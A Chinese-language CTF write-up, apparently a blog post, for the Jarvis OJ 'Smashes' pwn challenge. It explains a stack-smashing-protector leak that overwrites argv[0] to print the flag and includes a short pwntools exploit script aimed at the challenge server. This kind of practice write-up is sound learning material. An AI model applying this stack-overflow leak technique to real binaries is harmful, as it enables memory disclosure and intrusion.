Jarvis OJ---Smashes

先查看一下开启了什么防御机制

image.png

程序开启了canary和NX,但是hint之中却提示让我们overwrite it,既然无法直接插入shellcode,也无法通过ret2libc或者ROP直接绕过,好像一时之间没有啥子办法了,其实还有一种特别的方法,那就是SSP(Stack Smashes Protect)leak,具体可以看这里
http://www.jianshu.com/p/b0b254b94afe
通过gdb调试,计算argv[0]到缓冲区的字节大小

image.png
image.png

发现flag存在两个位置


image.png

最后贴上脚本

from pwn import *
from time import *

p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*160
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容